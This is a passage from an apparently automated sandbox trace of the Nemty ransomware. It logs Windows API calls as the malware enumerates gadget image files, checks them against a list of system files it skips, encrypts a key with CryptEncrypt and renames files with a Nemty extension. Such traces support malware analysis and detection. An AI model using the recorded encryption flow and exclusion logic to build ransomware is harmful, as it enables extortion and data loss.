Sidebar\\Gadgets\\Weather.Gadget\\images\\docked_blue_partly-cloudy.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\docked_blue_partly-cloudy.png._nemty_kgobjgd_")) returned 0 [0163.199] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440b0 | out: hHeap=0x4f90000) returned 1 [0163.199] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340488 | out: hHeap=0x4f90000) returned 1 [0163.199] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0163.199] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340318 | out: hHeap=0x4f90000) returned 1 [0163.199] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0163.199] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0163.199] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0163.199] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340250 | out: hHeap=0x4f90000) returned 1 [0163.199] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0163.199] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0163.199] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x873cfc70, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x873cfc70, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2c1a0765, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x2ea3, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="docked_blue_snow.png", cAlternateFileName="")) returned 1 [0163.199] lstrcmpiW (lpString1="docked_blue_snow.png", lpString2=".") returned 1 [0163.199] lstrcmpiW (lpString1="docked_blue_snow.png", lpString2="..") returned 1 [0163.200] lstrcmpiW (lpString1="docked_blue_snow.png", lpString2="...") returned 1 [0163.200] lstrcmpiW (lpString1="docked_blue_snow.png", lpString2="windows") returned -1 [0163.200] lstrcmpiW (lpString1="docked_blue_snow.png", lpString2="$RECYCLE.BIN") returned 1 [0163.200] lstrcmpiW (lpString1="docked_blue_snow.png", lpString2="rsa") returned -1 [0163.200] lstrcmpiW (lpString1="docked_blue_snow.png", lpString2="NTDETECT.COM") returned -1 [0163.200] lstrcmpiW (lpString1="docked_blue_snow.png", lpString2="ntldr") returned -1 [0163.200] lstrcmpiW (lpString1="docked_blue_snow.png", lpString2="MSDOS.SYS") returned -1 [0163.200] lstrcmpiW (lpString1="docked_blue_snow.png", lpString2="IO.SYS") returned -1 [0163.200] lstrcmpiW (lpString1="docked_blue_snow.png", lpString2="boot.ini") returned 1 [0163.200] lstrcmpiW (lpString1="docked_blue_snow.png", lpString2="boot.ini") returned 1 [0163.200] lstrcmpiW (lpString1="docked_blue_snow.png", lpString2="AUTOEXEC.BAT") returned 1 [0163.200] lstrcmpiW (lpString1="docked_blue_snow.png", lpString2="ntuser.dat") returned -1 [0163.200] lstrcmpiW (lpString1="docked_blue_snow.png", lpString2="desktop.ini") returned 1 [0163.200] lstrcmpiW (lpString1="docked_blue_snow.png", lpString2="CONFIG.SYS") returned 1 [0163.200] lstrcmpiW (lpString1="docked_blue_snow.png", lpString2="RECYCLER") returned -1 [0163.200] lstrcmpiW (lpString1="docked_blue_snow.png", lpString2="BOOTSECT.BAK") returned 1 [0163.200] lstrcmpiW (lpString1="docked_blue_snow.png", lpString2="bootmgr") returned 1 [0163.200] lstrcmpiW (lpString1="docked_blue_snow.png", lpString2="programdata") returned -1 [0163.200] lstrcmpiW (lpString1="docked_blue_snow.png", lpString2="appdata") returned 1 [0163.200] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0163.200] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_blue_snow.png", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0163.200] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0163.200] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_blue_snow.png", cchWideChar=20, lpMultiByteStr=0x4f9ecb8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="docked_blue_snow.png", lpUsedDefaultChar=0x0) returned 20 [0163.200] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0163.200] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0163.200] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_blue_snow.png", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0163.200] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0163.200] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_blue_snow.png", cchWideChar=20, lpMultiByteStr=0x4f9ecb8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="docked_blue_snow.png", lpUsedDefaultChar=0x0) returned 20 [0163.200] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0163.200] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0163.200] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0163.200] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0163.200] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_blue_snow.png", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0163.200] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0163.200] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_blue_snow.png", cchWideChar=20, lpMultiByteStr=0x4f9ecb8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="docked_blue_snow.png", lpUsedDefaultChar=0x0) returned 20 [0163.200] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0163.201] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0163.201] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_blue_snow.png", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0163.201] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0163.201] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_blue_snow.png", cchWideChar=20, lpMultiByteStr=0x4f9ed58, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="docked_blue_snow.png", lpUsedDefaultChar=0x0) returned 20 [0163.201] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0163.201] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63400d0 [0163.201] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340188 | out: hHeap=0x4f90000) returned 1 [0163.201] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340188 [0163.201] Sleep (dwMilliseconds=0x5) [0163.205] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x14ecb5f0, dwHighDateTime=0x1d561e8)) [0163.205] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x14ecb5f0, dwHighDateTime=0x1d561e8)) [0163.205] GetLastError () returned 0x5 [0163.205] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0163.205] GetLastError () returned 0x5 [0163.205] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0163.205] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0163.205] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0163.205] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0163.205] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0163.205] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0163.205] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340240 [0163.205] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340240, pcchString=0x653e91c | out: pszString="1e3XzcTRz+invm49YBnMEcFH2Vu+aQmUrKGyhjLCWQOVOBL/rWKaLUGj9+davc1Z\r\npzHH2eeA5H/WpHXuwJIhZiusMuZPoGl6noclKG/VCuKGqUZ0KmKI0P3SidarCRYA\r\nlAEcnfh9aXzDcAGKKQ+zAHmOsArXUzq3NkcB6ApeYjHVPY0k34uZ3QdfUJE8uctw\r\njIhIJupIueUe4Pthb2x5kI4E/0VWL8XzXcxJ++jrYHxArXjCDas7T50VR/7QM0bh\r\nfhml3Hgl3XfYQumQ0zWDBXcGxmRJQ/Gq9bCTnQNgjLWDdishk6hgq5xHoLPIAR4D\r\nYEkpJn46x+fMIl5RCQLUSA==\r\n", pcchString=0x653e91c) returned 1 [0163.205] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0163.206] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340240 | out: hHeap=0x4f90000) returned 1 [0163.206] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0163.206] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0163.206] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340240 [0163.206] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0163.206] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\docked_blue_snow.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\docked_blue_snow.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0163.206] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0163.206] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0163.206] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0163.206] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0163.215] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0163.215] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0163.215] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0163.215] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0163.225] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0163.225] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0163.225] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0163.225] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0163.234] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0163.234] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0163.234] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0163.234] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0163.243] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0163.243] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0163.243] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0163.243] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0163.253] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0163.253] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0163.253] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0163.253] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0163.262] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0163.262] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0163.262] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0163.262] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0163.271] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0163.271] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0163.272] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0163.272] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0163.281] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0163.281] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0163.281] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0163.281] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0163.290] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0163.290] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0163.290] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0163.290] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0163.299] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0163.299] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0163.299] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0163.299] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0163.305] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0163.305] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0163.305] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0163.305] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0163.311] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0163.311] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0163.311] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0163.311] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340240, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0163.311] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0163.312] CloseHandle (hObject=0xffffffff) returned 0 [0163.312] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63403b0 [0163.312] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0163.312] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0163.312] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0163.312] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0163.312] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0163.312] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340468 [0163.312] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6343fe8 [0163.312] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340468 | out: hHeap=0x4f90000) returned 1 [0163.312] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0163.312] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\docked_blue_snow.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\docked_blue_snow.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\docked_blue_snow.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\docked_blue_snow.png._nemty_kgobjgd_")) returned 0 [0163.312] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0163.312] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0163.312] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0163.312] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340240 | out: hHeap=0x4f90000) returned 1 [0163.312] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0163.312] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0163.312] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0163.312] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340188 | out: hHeap=0x4f90000) returned 1 [0163.312] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0163.312] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0163.312] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x873cfc70, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x873cfc70, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2c238cdd, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x2ce5, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="docked_blue_sun.png", cAlternateFileName="")) returned 1 [0163.313] lstrcmpiW (lpString1="docked_blue_sun.png", lpString2=".") returned 1 [0163.313] lstrcmpiW (lpString1="docked_blue_sun.png", lpString2="..") returned 1 [0163.313] lstrcmpiW (lpString1="docked_blue_sun.png", lpString2="...") returned 1 [0163.313] lstrcmpiW (lpString1="docked_blue_sun.png", lpString2="windows") returned -1 [0163.313] lstrcmpiW (lpString1="docked_blue_sun.png", lpString2="$RECYCLE.BIN") returned 1 [0163.313] lstrcmpiW (lpString1="docked_blue_sun.png", lpString2="rsa") returned -1 